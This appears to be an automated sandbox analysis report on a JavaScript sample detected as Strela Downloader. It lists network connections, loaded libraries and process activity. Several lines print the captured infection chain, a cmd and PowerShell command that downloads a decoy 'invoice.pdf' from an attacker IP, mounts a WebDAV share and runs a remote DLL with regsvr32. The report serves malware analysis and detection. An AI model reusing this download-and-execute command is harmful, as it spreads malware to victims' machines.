Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49778

Source: global traffic

TCP traffic: 192.168.2.9:49778 -> 193.143.1.205:8888

Source: Joe Sandbox View	IP Address: 193.143.1.205 193.143.1.205
Source: Joe Sandbox View	IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.9:49758 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1370457462.000001C798ED0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1371353497.000001C798EE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1437973498.000001BE77902000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1437973498.000001BE7792E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1437973498.000001BE778D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/sce
Source: net.exe, 00000007.00000002.1437973498.000001BE77902000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/vH
Source: svchost.exe, 00000009.00000002.2648399773.000001EAD9008000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod-C:
Source: svchost.exe, 00000009.00000003.1450963232.000001EAD9200000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2-C:
Source: ReaderMessages.5.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7572, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 1907125702104121563.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7668:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_c4nx20ti.yfe.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1907125702104121563.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2228 --field-trial-handle=1528,i,10699397459916845071,15470316518012393717,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2228 --field-trial-handle=1528,i,10699397459916845071,15470316518012393717,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
